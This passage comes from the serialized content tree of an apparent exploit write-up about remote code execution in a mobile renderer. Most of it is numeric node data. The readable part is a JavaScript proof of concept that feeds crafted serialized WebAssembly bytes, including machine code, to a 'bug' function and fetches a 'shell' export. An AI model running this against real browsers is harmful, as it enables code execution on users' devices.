"type":30,"value":148451},{"type":25,"tag":271,"props":149628,"children":149629},{"style":13598},[149630],{"type":30,"value":52262},{"type":25,"tag":271,"props":149632,"children":149633},{"style":13625},[149634],{"type":30,"value":16165},{"type":25,"tag":271,"props":149636,"children":149637},{"class":13593,"line":16823},[149638,149642,149646,149650,149654,149658],{"type":25,"tag":271,"props":149639,"children":149640},{"style":13598},[149641],{"type":30,"value":115038},{"type":25,"tag":271,"props":149643,"children":149644},{"style":13625},[149645],{"type":30,"value":1860},{"type":25,"tag":271,"props":149647,"children":149648},{"style":13620},[149649],{"type":30,"value":115047},{"type":25,"tag":271,"props":149651,"children":149652},{"style":13625},[149653],{"type":30,"value":394},{"type":25,"tag":271,"props":149655,"children":149656},{"style":13598},[149657],{"type":30,"value":22204},{"type":25,"tag":271,"props":149659,"children":149660},{"style":13625},[149661],{"type":30,"value":13665},{"type":25,"tag":271,"props":149663,"children":149664},{"class":13593,"line":16832},[149665],{"type":25,"tag":271,"props":149666,"children":149667},{"emptyLinePlaceholder":18},[149668],{"type":30,"value":16829},{"type":25,"tag":271,"props":149670,"children":149671},{"class":13593,"line":16841},[149672,149676,149681,149685,149689,149693,149697,149701],{"type":25,"tag":271,"props":149673,"children":149674},{"style":14289},[149675],{"type":30,"value":20977},{"type":25,"tag":271,"props":149677,"children":149678},{"style":13598},[149679],{"type":30,"value":149680}," result_bytes",{"type":25,"tag":271,"props":149682,"children":149683},{"style":13603},[149684],{"type":30,"value":16155},{"type":25,"tag":271,"props":149686,"children":149687},{"style":14289},[149688],{"type":30,"value":45045},{"type":25,"tag":271,"props":149690,"children":149691},{"style":13620},[149692],{"type":30,"value":145907},{"type":25,"tag":271,"props":149694,"children":149695},{"style":13625},[149696],{"type":30,"value":394},{"type":25,"tag":271,"props":149698,"children":149699},{"style":13598},[149700],{"type":30,"value":22204},{"type":25,"tag":271,"props":149702,"children":149703},{"style":13625},[149704],{"type":30,"value":13665},{"type":25,"tag":271,"props":149706,"children":149707},{"class":13593,"line":16907},[149708,149712,149716,149720,149724,149728,149732,149736,149740,149744,149748,149752,149756,149760,149764],{"type":25,"tag":271,"props":149709,"children":149710},{"style":13598},[149711],{"type":30,"value":115038},{"type":25,"tag":271,"props":149713,"children":149714},{"style":13625},[149715],{"type":30,"value":1860},{"type":25,"tag":271,"props":149717,"children":149718},{"style":13620},[149719],{"type":30,"value":115047},{"type":25,"tag":271,"props":149721,"children":149722},{"style":13625},[149723],{"type":30,"value":394},{"type":25,"tag":271,"props":149725,"children":149726},{"style":17388},[149727],{"type":30,"value":146474},{"type":25,"tag":271,"props":149729,"children":149730},{"style":13603},[149731],{"type":30,"value":22025},{"type":25,"tag":271,"props":149733,"children":149734},{"style":13598},[149735],{"type":30,"value":149680},{"type":25,"tag":271,"props":149737,"children":149738},{"style":13625},[149739],{"type":30,"value":1860},{"type":25,"tag":271,"props":149741,"children":149742},{"style":13620},[149743],{"type":30,"value":146491},{"type":25,"tag":271,"props":149745,"children":149746},{"style":13625},[149747],{"type":30,"value":394},{"type":25,"tag":271,"props":149749,"children":149750},{"style":17388},[149751],{"type":30,"value":146500},{"type":25,"tag":271,"props":149753,"children":149754},{"style":13625},[149755],{"type":30,"value":14406},{"type":25,"tag":271,"props":149757,"children":149758},{"style":13603},[149759],{"type":30,"value":2074},{"type":25,"tag":271,"props":149761,"children":149762},{"style":17388},[149763],{"type":30,"value":146513},{"type":25,"tag":271,"props":149765,"children":149766},{"style":13625},[149767],{"type":30,"value":13665},{"type":25,"tag":271,"props":149769,"children":149770},{"class":13593,"line":16915},[149771],{"type":25,"tag":271,"props":149772,"children":149773},{"style":13625},[149774],{"type":30,"value":115079},{"type":25,"tag":26,"props":149776,"children":149777},{},[149778],{"type":30,"value":149779},"We get the serialized bytes:",{"type":25,"tag":26,"props":149781,"children":149782},{},[149783],{"type":25,"tag":698,"props":149784,"children":149787},{"alt":149785,"src":149786},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":25,"tag":26,"props":149789,"children":149790},{},[149791,149793,149798],{"type":30,"value":149792},"We can now embed this output into the original bytecode that calls ",{"type":25,"tag":264,"props":149794,"children":149796},{"className":149795},[],[149797],{"type":30,"value":145370},{"type":30,"value":359},{"type":25,"tag":7764,"props":149800,"children":149802},{"code":149801,"language":48727,"meta":7,"className":48725,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[149803],{"type":25,"tag":264,"props":149804,"children":149805},{"__ignoreMap":7},[149806,149829,149856,150075,150142,150149,150176,150387,150638,150889,151113,151295,151516,151594,151601,151648,151691,151727,151770,151809,151836],{"type":25,"tag":271,"props":149807,"children":149808},{"class":13593,"line":13594},[149809,149813,149817,149821,149825],{"type":25,"tag":271,"props":149810,"children":149811},{"style":13625},[149812],{"type":30,"value":394},{"type":25,"tag":271,"props":149814,"children":149815},{"style":14289},[149816],{"type":30,"value":49257},{"type":25,"tag":271,"props":149818,"children":149819},{"style":13625},[149820],{"type":30,"value":52807},{"type":25,"tag":271,"props":149822,"children":149823},{"style":14289},[149824],{"type":30,"value":27943},{"type":25,"tag":271,"props":149826,"children":149827},{"style":13625},[149828],{"type":30,"value":16431},{"type":25,"tag":271,"props":149830,"children":149831},{"class":13593,"line":11641},[149832,149836,149840,149844,149848,149852],{"type":25,"tag":271,"props":149833,"children":149834},{"style":14289},[149835],{"type":30,"value":49300},{"type":25,"tag":271,"props":149837,"children":149838},{"style":13598},[149839],{"type":30,"value":145894},{"type":25,"tag":271,"props":149841,"children":149842},{"style":13603},[149843],{"type":30,"value":16155},{"type":25,"tag":271,"props":149845,"children":149846},{"style":14289},[149847],{"type":30,"value":45045},{"type":25,"tag":271,"props":149849,"children":149850},{"style":13620},[149851],{"type":30,"value":145907},{"type":25,"tag":271,"props":149853,"children":149854},{"style":13625},[149855],{"type":30,"value":145912},{"type":25,"tag":271,"props":149857,"children":149858},{"class":13593,"line":14354},[149859,149863,149867,149871,149875,149879,149883,149887,149891,149895,149899,149903,149907,149911,149915,149919,149923,149927,149931,149935,149939,149943,149947,149951,149955,149959,149963,149967,149971,149975,149979,149983,149987,149991,149995,149999,150003,150007,150011,150015,150019,150023,150027,150031,150035,150039,150043,150047,150051,150055,150059,150063,150067,150071],{"type":25,"tag":271,"props":149860,"children":149861},{"style":16187},[149862],{"type":30,"value":146637},{"type":25,"tag":271,"props":149864,"children":149865},{"style":13625},[149866],{"type":30,"value":44},{"type":25,"tag":271,"props":149868,"children":149869},{"style":16187},[149870],{"type":30,"value":145929},{"type":25,"tag":271,"props":149872,"children":149873},{"style":13625},[149874],{"type":30,"value":44},{"type":25,"tag":271,"props":149876,"children":149877},{"style":16187},[149878],{"type":30,"value":145938},{"type":25,"tag":271,"props":149880,"children":149881},{"style":13625},[149882],{"type":30,"value":44},{"type":25,"tag":271,"props":149884,"children":149885},{"style":16187},[149886],{"type":30,"value":145947},{"type":25,"tag":271,"props":149888,"children":149889},{"style":13625},[149890],{"type":30,"value":44},{"type":25,"tag":271,"props":149892,"children":149893},{"style":16187},[149894],{"type":30,"value":968},{"type":25,"tag":271,"props":149896,"children":149897},{"style":13625},[149898],{"type":30,"value":44},{"type":25,"tag":271,"props":149900,"children":149901},{"style":16187},[149902],{"type":30,"value":953},{"type":25,"tag":271,"props":149904,"children":149905},{"style":13625},[149906],{"type":30,"value":44},{"type":25,"tag":271,"props":149908,"children":149909},{"style":16187},[149910],{"type":30,"value":953},{"type":25,"tag":271,"props":149912,"children":149913},{"style":13625},[149914],{"type":30,"value":44},{"type":25,"tag":271,"props":149916,"children":149917},{"style":16187},[149918],{"type":30,"value":953},{"type":25,"tag":271,"props":149920,"children":149921},{"style":13625},[149922],{"type":30,"value":44},{"type":25,"tag":271,"props":149924,"children":149925},{"style":16187},[149926],{"type":30,"value":968},{"type":25,"tag":271,"props":149928,"children":149929},{"style":13625},[149930],{"type":30,"value":44},{"type":25,"tag":271,"props":149932,"children":149933},{"style":16187},[149934],{"type":30,"value":30650},{"type":25,"tag":271,"props":149936,"children":149937},{"style":13625},[149938],{"type":30,"value":44},{"type":25,"tag":271,"props":149940,"children":149941},{"style":16187},[149942],{"type":30,"value":968},{"type":25,"tag":271,"props":149944,"children":149945},{"style":13625},[149946],{"type":30,"value":44},{"type":25,"tag":271,"props":149948,"children":149949},{"style":16187},[149950],{"type":30,"value":146012},{"type":25,"tag":271,"props":149952,"children":149953},{"style":13625},[149954],{"type":30,"value":44},{"type":25,"tag":271,"props":149956,"children":149957},{"style":16187},[149958],{"type":30,"value":953},{"type":25,"tag":271,"props":149960,"children":149961},{"style":13625},[149962],{"type":30,"value":44},{"type":25,"tag":271,"props":149964,"children":149965},{"style":16187},[149966],{"type":30,"value":953},{"type":25,"tag":271,"props":149968,"children":149969},{"style":13625},[149970],{"type":30,"value":44},{"type":25,"tag":271,"props":149972,"children":149973},{"style":16187},[149974],{"type":30,"value":7711},{"type":25,"tag":271,"props":149976,"children":149977},{"style":13625},[149978],{"type":30,"value":44},{"type":25,"tag":271,"props":149980,"children":149981},{"style":16187},[149982],{"type":30,"value":1326},{"type":25,"tag":271,"props":149984,"children":149985},{"style":13625},[149986],{"type":30,"value":44},{"type":25,"tag":271,"props":149988,"children":149989},{"style":16187},[149990],{"type":30,"value":968},{"type":25,"tag":271,"props":149992,"children":149993},{"style":13625},[149994],{"type":30,"value":44},{"type":25,"tag":271,"props":149996,"children":149997},{"style":16187},[149998],{"type":30,"value":953},{"type":25,"tag":271,"props":150000,"children":150001},{"style":13625},[150002],{"type":30,"value":44},{"type":25,"tag":271,"props":150004,"children":150005},{"style":16187},[150006],{"type":30,"value":67787},{"type":25,"tag":271,"props":150008,"children":150009},{"style":13625},[150010],{"type":30,"value":44},{"type":25,"tag":271,"props":150012,"children":150013},{"style":16187},[150014],{"type":30,"value":69001},{"type":25,"tag":271,"props":150016,"children":150017},{"style":13625},[150018],{"type":30,"value":44},{"type":25,"tag":271,"props":150020,"children":150021},{"style":16187},[150022],{"type":30,"value":968},{"type":25,"tag":271,"props":150024,"children":150025},{"style":13625},[150026],{"type":30,"value":44},{"type":25,"tag":271,"props":150028,"children":150029},{"style":16187},[150030],{"type":30,"value":31231},{"type":25,"tag":271,"props":150032,"children":150033},{"style":13625},[150034],{"type":30,"value":44},{"type":25,"tag":271,"props":150036,"children":150037},{"style":16187},[150038],{"type":30,"value":145938},{"type":25,"tag":271,"props":150040,"children":150041},{"style":13625},[150042],{"type":30,"value":44},{"type":25,"tag":271,"props":150044,"children":150045},{"style":16187},[150046],{"type":30,"value":146109},{"type":25,"tag":271,"props":150048,"children":150049},{"style":13625},[150050],{"type":30,"value":44},{"type":25,"tag":271,"props":150052,"children":150053},{"style":16187},[150054],{"type":30,"value":146118},{"type":25,"tag":271,"props":150056,"children":150057},{"style":13625},[150058],{"type":30,"value":44},{"type":25,"tag":271,"props":150060,"children":150061},{"style":16187},[150062],{"type":30,"value":146127},{"type":25,"tag":271,"props":150064,"children":150065},{"style":13625},[150066],{"type":30,"value":44},{"type":25,"tag":271,"props":150068,"children":150069},{"style":16187},[150070],{"type":30,"value":146127},{"type":25,"tag":271,"props":150072,"children":150073},{"style":13625},[150074],{"type":30,"value":14351},{"type":25,"tag":271,"props":150076,"children":150077},{"class":13593,"line":14391},[150078,150082,150086,150090,150094,150098,150102,150106,150110,150114,150118,150122,150126,150130,150134,150138],{"type":25,"tag":271,"props":150079,"children":150080},{"style":16187},[150081],{"type":30,"value":146637},{"type":25,"tag":271,"props":150083,"children":150084},{"style":13625},[150085],{"type":30,"value":44},{"type":25,"tag":271,"props":150087,"children":150088},{"style":16187},[150089],{"type":30,"value":953},{"type":25,"tag":271,"props":150091,"children":150092},{"style":13625},[150093],{"type":30,"value":44},{"type":25,"tag":271,"props":150095,"children":150096},{"style":16187},[150097],{"type":30,"value":102365},{"type":25,"tag":271,"props":150099,"children":150100},{"style":13625},[150101],{"type":30,"value":44},{"type":25,"tag":271,"props":150103,"children":150104},{"style":16187},[150105],{"type":30,"value":30650},{"type":25,"tag":271,"props":150107,"children":150108},{"style":13625},[150109],{"type":30,"value":44},{"type":25,"tag":271,"props":150111,"children":150112},{"style":16187},[150113],{"type":30,"value":968},{"type":25,"tag":271,"props":150115,"children":150116},{"style":13625},[150117],{"type":30,"value":44},{"type":25,"tag":271,"props":150119,"children":150120},{"style":16187},[150121],{"type":30,"value":1326},{"type":25,"tag":271,"props":150123,"children":150124},{"style":13625},[150125],{"type":30,"value":44},{"type":25,"tag":271,"props":150127,"children":150128},{"style":16187},[150129],{"type":30,"value":953},{"type":25,"tag":271,"props":150131,"children":150132},{"style":13625},[150133],{"type":30,"value":44},{"type":25,"tag":271,"props":150135,"children":150136},{"style":16187},[150137],{"type":30,"value":146203},{"type":25,"tag":271,"props":150139,"children":150140},{"style":13625},[150141],{"type":30,"value":14351},{"type":25,"tag":271,"props":150143,"children":150144},{"class":13593,"line":14400},[150145],{"type":25,"tag":271,"props":150146,"children":150147},{"style":13625},[150148],{"type":30,"value":146924},{"type":25,"tag":271,"props":150150,"children":150151},{"class":13593,"line":16406},[150152,150156,150160,150164,150168,150172],{"type":25,"tag":271,"props":150153,"children":150154},{"style":14289},[150155],{"type":30,"value":49300},{"type":25,"tag":271,"props":150157,"children":150158},{"style":13598},[150159],{"type":30,"value":137707},{"type":25,"tag":271,"props":150161,"children":150162},{"style":13603},[150163],{"type":30,"value":16155},{"type":25,"tag":271,"props":150165,"children":150166},{"style":14289},[150167],{"type":30,"value":45045},{"type":25,"tag":271,"props":150169,"children":150170},{"style":13620},[150171],{"type":30,"value":145907},{"type":25,"tag":271,"props":150173,"children":150174},{"style":13625},[150175],{"type":30,"value":145912},{"type":25,"tag":271,"props":150177,"children":150178},{"class":13593,"line":16434},[150179,150184,150188,150192,150196,150200,150204,150208,150212,150217,150221,150226,150230,150235,150239,150244,150248,150252,150256,150260,150264,150268,150272,150276,150280,150285,150289,150294,150298,150303,150307,150311,150315,150319,150323,150327,150331,150335,150339,150343,150347,150351,150355,150359,150363,150367,150371,150375,150379,150383],{"type":25,"tag":271,"props":150180,"children":150181},{"style":16187},[150182],{"type":30,"value":150183},"    146",{"type":25,"tag":271,"props":150185,"children":150186},{"style":13625},[150187],{"type":30,"value":44},{"type":25,"tag":271,"props":150189,"children":150190},{"style":16187},[150191],{"type":30,"value":31542},{"type":25,"tag":271,"props":150193,"children":150194},{"style":13625},[150195],{"type":30,"value":44},{"type":25,"tag":271,"props":150197,"children":150198},{"style":16187},[150199],{"type":30,"value":146976},{"type":25,"tag":271,"props":150201,"children":150202},{"style":13625},[150203],{"type":30,"value":44},{"type":25,"tag":271,"props":150205,"children":150206},{"style":16187},[150207],{"type":30,"value":146985},{"type":25,"tag":271,"props":150209,"children":150210},{"style":13625},[150211],{"type":30,"value":44},{"type":25,"tag":271,"props":150213,"children":150214},{"style":16187},[150215],{"type":30,"value":150216},"174",{"type":25,"tag":271,"props":150218,"children":150219},{"style":13625},[150220],{"type":30,"value":44},{"type":25,"tag":271,"props":150222,"children":150223},{"style":16187},[150224],{"type":30,"value":150225},"122",{"type":25,"tag":271,"props":150227,"children":150228},{"style":13625},[150229],{"type":30,"value":44},{"type":25,"tag":271,"props":150231,"children":150232},{"style":16187},[150233],{"type":30,"value":150234},"171",{"type":25,"tag":271,"props":150236,"children":150237},{"style":13625},[150238],{"type":30,"value":44},{"type":25,"tag":271,"props":150240,"children":150241},{"style":16187},[150242],{"type":30,"value":150243},"151",{"type":25,"tag":271,"props":150245,"children":150246},{"style":13625},[150247],{"type":30,"value":44},{"type":25,"tag":271,"props":150249,"children":150250},{"style":16187},[150251],{"type":30,"value":109762},{"type":25,"tag":271,"props":150253,"children":150254},{"style":13625},[150255],{"type":30,"value":44},{"type":25,"tag":271,"props":150257,"children":150258},{"style":16187},[150259],{"type":30,"value":953},{"type":25,"tag":271,"props":150261,"children":150262},{"style":13625},[150263],{"type":30,"value":44},{"type":25,"tag":271,"props":150265,"children":150266},{"style":16187},[150267],{"type":30,"value":953},{"type":25,"tag":271,"props":150269,"children":150270},{"style":13625},[150271],{"type":30,"value":44},{"type":25,"tag":271,"props":150273,"children":150274},{"style":16187},[150275],{"type":30,"value":953},{"type":25,"tag":271,"props":150277,"children":150278},{"style":13625},[150279],{"type":30,"value":44},{"type":25,"tag":271,"props":150281,"children":150282},{"style":16187},[150283],{"type":30,"value":150284},"39",{"type":25,"tag":271,"props":150286,"children":150287},{"style":13625},[150288],{"type":30,"value":44},{"type":25,"tag":271,"props":150290,"children":150291},{"style":16187},[150292],{"type":30,"value":150293},"61",{"type":25,"tag":271,"props":150295,"children":150296},{"style":13625},[150297],{"type":30,"value":44},{"type":25,"tag":271,"props":150299,"children":150300},{"style":16187},[150301],{"type":30,"value":150302},"60",{"type":25,"tag":271,"props":150304,"children":150305},{"style":13625},[150306],{"type":30,"value":44},{"type":25,"tag":271,"props":150308,"children":150309},{"style":16187},[150310],{"type":30,"value":109762},{"type":25,"tag":271,"props":150312,"children":150313},{"style":13625},[150314],{"type":30,"value":44},{"type":25,"tag":271,"props":150316,"children":150317},{"style":16187},[150318],{"type":30,"value":953},{"type":25,"tag":271,"props":150320,"children":150321},{"style":13625},[150322],{"type":30,"value":44},{"type":25,"tag":271,"props":150324,"children":150325},{"style":16187},[150326],{"type":30,"value":53958},{"type":25,"tag":271,"props":150328,"children":150329},{"style":13625},[150330],{"type":30,"value":44},{"type":25,"tag":271,"props":150332,"children":150333},{"style":16187},[150334],{"type":30,"value":7711},{"type":25,"tag":271,"props":150336,"children":150337},{"style":13625},[150338],{"type":30,"value":44},{"type":25,"tag":271,"props":150340,"children":150341},{"style":16187},[150342],{"type":30,"value":953},{"type":25,"tag":271,"props":150344,"children":150345},{"style":13625},[150346],{"type":30,"value":44},{"type":25,"tag":271,"props":150348,"children":150349},{"style":16187},[150350],{"type":30,"value":953},{"type":25,"tag":271,"props":150352,"children":150353},{"style":13625},[150354],{"type":30,"value":44},{"type":25,"tag":271,"props":150356,"children":150357},{"style":16187},[150358],{"type":30,"value":953},{"type":25,"tag":271,"props":150360,"children":150361},{"style":13625},[150362],{"type":30,"value":44},{"type":25,"tag":271,"props":150364,"children":150365},{"style":16187},[150366],{"type":30,"value":953},{"type":25,"tag":271,"props":150368,"children":150369},{"style":13625},[150370],{"type":30,"value":44},{"type":25,"tag":271,"props":150372,"children":150373},{"style":16187},[150374],{"type":30,"value":953},{"type":25,"tag":271,"props":150376,"children":150377},{"style":13625},[150378],{"type":30,"value":44},{"type":25,"tag":271,"props":150380,"children":150381},{"style":16187},[150382],{"type":30,"value":42535},{"type":25,"tag":271,"props":150384,"children":150385},{"style":13625},[150386],{"type":30,"value":14351},{"type":25,"tag":271,"props":150388,"children":150389},{"class":13593,"line":16447},[150390,150394,150398,150402,150406,150410,150414,150418,150422,150426,150430,150434,150438,150442,150446,150450,150454,150458,150462,150466,150470,150474,150478,150482,150486,150490,150494,150498,150502,150506,150510,150514,150518,150522,150526,150530,150534,150538,150542,150546,150550,150554,150558,150562,150566,150570,150574,150578,150582,150586,150590,150594,150598,150602,150606,150610,150614,150618,150622,150626,150630,150634],{"type":25,"tag":271,"props":150391,"children":150392},{"style":16187},[150393],{"type":30,"value":146637},{"type":25,"tag":271,"props":150395,"children":150396},{"style":13625},[150397],{"type":30,"value":44},{"type":25,"tag":271,"props":150399,"children":150400},{"style":16187},[150401],{"type":30,"value":953},{"type":25,"tag":271,"props":150403,"children":150404},{"style":13625},[150405],{"type":30,"value":44},{"type":25,"tag":271,"props":150407,"children":150408},{"style":16187},[150409],{"type":30,"value":953},{"type":25,"tag":271,"props":150411,"children":150412},{"style":13625},[150413],{"type":30,"value":44},{"type":25,"tag":271,"props":150415,"children":150416},{"style":16187},[150417],{"type":30,"value":953},{"type":25,"tag":271,"props":150419,"children":150420},{"style":13625},[150421],{"type":30,"value":44},{"type":25,"tag":271,"props":150423,"children":150424},{"style":16187},[150425],{"type":30,"value":953},{"type":25,"tag":271,"props":150427,"children":150428},{"style":13625},[150429],{"type":30,"value":44},{"type":25,"tag":271,"props":150431,"children":150432},{"style":16187},[150433],{"type":30,"value":953},{"type":25,"tag":271,"props":150435,"children":150436},{"style":13625},[150437],{"type":30,"value":44},{"type":25,"tag":271,"props":150439,"children":150440},{"style":16187},[150441],{"type":30,"value":953},{"type":25,"tag":271,"props":150443,"children":150444},{"style":13625},[150445],{"type":30,"value":44},{"type":25,"tag":271,"props":150447,"children":150448},{"style":16187},[150449],{"type":30,"value":968},{"type":25,"tag":271,"props":150451,"children":150452},{"style":13625},[150453],{"type":30,"value":44},{"type":25,"tag":271,"props":150455,"children":150456},{"style":16187},[150457],{"type":30,"value":953},{"type":25,"tag":271,"props":150459,"children":150460},{"style":13625},[150461],{"type":30,"value":44},{"type":25,"tag":271,"props":150463,"children":150464},{"style":16187},[150465],{"type":30,"value":953},{"type":25,"tag":271,"props":150467,"children":150468},{"style":13625},[150469],{"type":30,"value":44},{"type":25,"tag":271,"props":150471,"children":150472},{"style":16187},[150473],{"type":30,"value":953},{"type":25,"tag":271,"props":150475,"children":150476},{"style":13625},[150477],{"type":30,"value":44},{"type":25,"tag":271,"props":150479,"children":150480},{"style":16187},[150481],{"type":30,"value":953},{"type":25,"tag":271,"props":150483,"children":150484},{"style":13625},[150485],{"type":30,"value":44},{"type":25,"tag":271,"props":150487,"children":150488},{"style":16187},[150489],{"type":30,"value":953},{"type":25,"tag":271,"props":150491,"children":150492},{"style":13625},[150493],{"type":30,"value":44},{"type":25,"tag":271,"props":150495,"children":150496},{"style":16187},[150497],{"type":30,"value":953},{"type":25,"tag":271,"props":150499,"children":150500},{"style":13625},[150501],{"type":30,"value":44},{"type":25,"tag":271,"props":150503,"children":150504},{"style":16187},[150505],{"type":30,"value":953},{"type":25,"tag":271,"props":150507,"children":150508},{"style":13625},[150509],{"type":30,"value":44},{"type":25,"tag":271,"props":150511,"children":150512},{"style":16187},[150513],{"type":30,"value":953},{"type":25,"tag":271,"props":150515,"children":150516},{"style":13625},[150517],{"type":30,"value":44},{"type":25,"tag":271,"props":150519,"children":150520},{"style":16187},[150521],{"type":30,"value":30650},{"type":25,"tag":271,"props":150523,"children":150524},{"style":13625},[150525],{"type":30,"value":44},{"type":25,"tag":271,"props":150527,"children":150528},{"style":16187},[150529],{"type":30,"value":58241},{"type":25,"tag":271,"props":150531,"children":150532},{"style":13625},[150533],{"type":30,"value":44},{"type":25,"tag":271,"props":150535,"children":150536},{"style":16187},[150537],{"type":30,"value":953},{"type":25,"tag":271,"props":150539,"children":150540},{"style":13625},[150541],{"type":30,"value":44},{"type":25,"tag":271,"props":150543,"children":150544},{"style":16187},[150545],{"type":30,"value":953},{"type":25,"tag":271,"props":150547,"children":150548},{"style":13625},[150549],{"type":30,"value":44},{"type":25,"tag":271,"props":150551,"children":150552},{"style":16187},[150553],{"type":30,"value":953},{"type":25,"tag":271,"props":150555,"children":150556},{"style":13625},[150557],{"type":30,"value":44},{"type":25,"tag":271,"props":150559,"children":150560},{"style":16187},[150561],{"type":30,"value":147012},{"type":25,"tag":271,"props":150563,"children":150564},{"style":13625},[150565],{"type":30,"value":44},{"type":25,"tag":271,"props":150567,"children":150568},{"style":16187},[150569],{"type":30,"value":953},{"type":25,"tag":271,"props":150571,"children":150572},{"style":13625},[150573],{"type":30,"value":44},{"type":25,"tag":271,"props":150575,"children":150576},{"style":16187},[150577],{"type":30,"value":953},{"type":25,"tag":271,"props":150579,"children":150580},{"style":13625},[150581],{"type":30,"value":44},{"type":25,"tag":271,"props":150583,"children":150584},{"style":16187},[150585],{"type":30,"value":953},{"type":25,"tag":271,"props":150587,"children":150588},{"style":13625},[150589],{"type":30,"value":44},{"type":25,"tag":271,"props":150591,"children":150592},{"style":16187},[150593],{"type":30,"value":58241},{"type":25,"tag":271,"props":150595,"children":150596},{"style":13625},[150597],{"type":30,"value":44},{"type":25,"tag":271,"props":150599,"children":150600},{"style":16187},[150601],{"type":30,"value":953},{"type":25,"tag":271,"props":150603,"children":150604},{"style":13625},[150605],{"type":30,"value":44},{"type":25,"tag":271,"props":150607,"children":150608},{"style":16187},[150609],{"type":30,"value":953},{"type":25,"tag":271,"props":150611,"children":150612},{"style":13625},[150613],{"type":30,"value":44},{"type":25,"tag":271,"props":150615,"children":150616},{"style":16187},[150617],{"type":30,"value":953},{"type":25,"tag":271,"props":150619,"children":150620},{"style":13625},[150621],{"type":30,"value":44},{"type":25,"tag":271,"props":150623,"children":150624},{"style":16187},[150625],{"type":30,"value":58241},{"type":25,"tag":271,"props":150627,"children":150628},{"style":13625},[150629],{"type":30,"value":44},{"type":25,"tag":271,"props":150631,"children":150632},{"style":16187},[150633],{"type":30,"value":953},{"type":25,"tag":271,"props":150635,"children":150636},{"style":13625},[150637],{"type":30,"value":14351},{"type":25,"tag":271,"props":150639,"children":150640},{"class":13593,"line":16465},[150641,150645,150649,150653,150657,150661,150665,150669,150673,150677,150681,150685,150689,150693,150697,150701,150705,150709,150713,150717,150721,150725,150729,150733,150737,150741,150745,150749,150753,150757,150761,150765,150769,150773,150777,150781,150785,150789,150793,150797,150801,150805,150809,150813,150817,150821,150825,150829,150833,150837,150841,150845,150849,150853,150857,150861,150865,150869,150873,150877,150881,150885],{"type":25,"tag":271,"props":150642,"children":150643},{"style":16187},[150644],{"type":30,"value":146637},{"type":25,"tag":271,"props":150646,"children":150647},{"style":13625},[150648],{"type":30,"value":44},{"type":25,"tag":271,"props":150650,"children":150651},{"style":16187},[150652],{"type":30,"value":953},{"type":25,"tag":271,"props":150654,"children":150655},{"style":13625},[150656],{"type":30,"value":44},{"type":25,"tag":271,"props":150658,"children":150659},{"style":16187},[150660],{"type":30,"value":58241},{"type":25,"tag":271,"props":150662,"children":150663},{"style":13625},[150664],{"type":30,"value":44},{"type":25,"tag":271,"props":150666,"children":150667},{"style":16187},[150668],{"type":30,"value":953},{"type":25,"tag":271,"props":150670,"children":150671},{"style":13625},[150672],{"type":30,"value":44},{"type":25,"tag":271,"props":150674,"children":150675},{"style":16187},[150676],{"type":30,"value":953},{"type":25,"tag":271,"props":150678,"children":150679},{"style":13625},[150680],{"type":30,"value":44},{"type":25,"tag":271,"props":150682,"children":150683},{"style":16187},[150684],{"type":30,"value":953},{"type":25,"tag":271,"props":150686,"children":150687},{"style":13625},[150688],{"type":30,"value":44},{"type":25,"tag":271,"props":150690,"children":150691},{"style":16187},[150692],{"type":30,"value":30650},{"type":25,"tag":271,"props":150694,"children":150695},{"style":13625},[150696],{"type":30,"value":44},{"type":25,"tag":271,"props":150698,"children":150699},{"style":16187},[150700],{"type":30,"value":953},{"type":25,"tag":271,"props":150702,"children":150703},{"style":13625},[150704],{"type":30,"value":44},{"type":25,"tag":271,"props":150706,"children":150707},{"style":16187},[150708],{"type":30,"value":953},{"type":25,"tag":271,"props":150710,"children":150711},{"style":13625},[150712],{"type":30,"value":44},{"type":25,"tag":271,"props":150714,"children":150715},{"style":16187},[150716],{"type":30,"value":953},{"type":25,"tag":271,"props":150718,"children":150719},{"style":13625},[150720],{"type":30,"value":44},{"type":25,"tag":271,"props":150722,"children":150723},{"style":16187},[150724],{"type":30,"value":953},{"type":25,"tag":271,"props":150726,"children":150727},{"style":13625},[150728],{"type":30,"value":44},{"type":25,"tag":271,"props":150730,"children":150731},{"style":16187},[150732],{"type":30,"value":953},{"type":25,"tag":271,"props":150734,"children":150735},{"style":13625},[150736],{"type":30,"value":44},{"type":25,"tag":271,"props":150738,"children":150739},{"style":16187},[150740],{"type":30,"value":953},{"type":25,"tag":271,"props":150742,"children":150743},{"style":13625},[150744],{"type":30,"value":44},{"type":25,"tag":271,"props":150746,"children":150747},{"style":16187},[150748],{"type":30,"value":953},{"type":25,"tag":271,"props":150750,"children":150751},{"style":13625},[150752],{"type":30,"value":44},{"type":25,"tag":271,"props":150754,"children":150755},{"style":16187},[150756],{"type":30,"value":953},{"type":25,"tag":271,"props":150758,"children":150759},{"style":13625},[150760],{"type":30,"value":44},{"type":25,"tag":271,"props":150762,"children":150763},{"style":16187},[150764],{"type":30,"value":953},{"type":25,"tag":271,"props":150766,"children":150767},{"style":13625},[150768],{"type":30,"value":44},{"type":25,"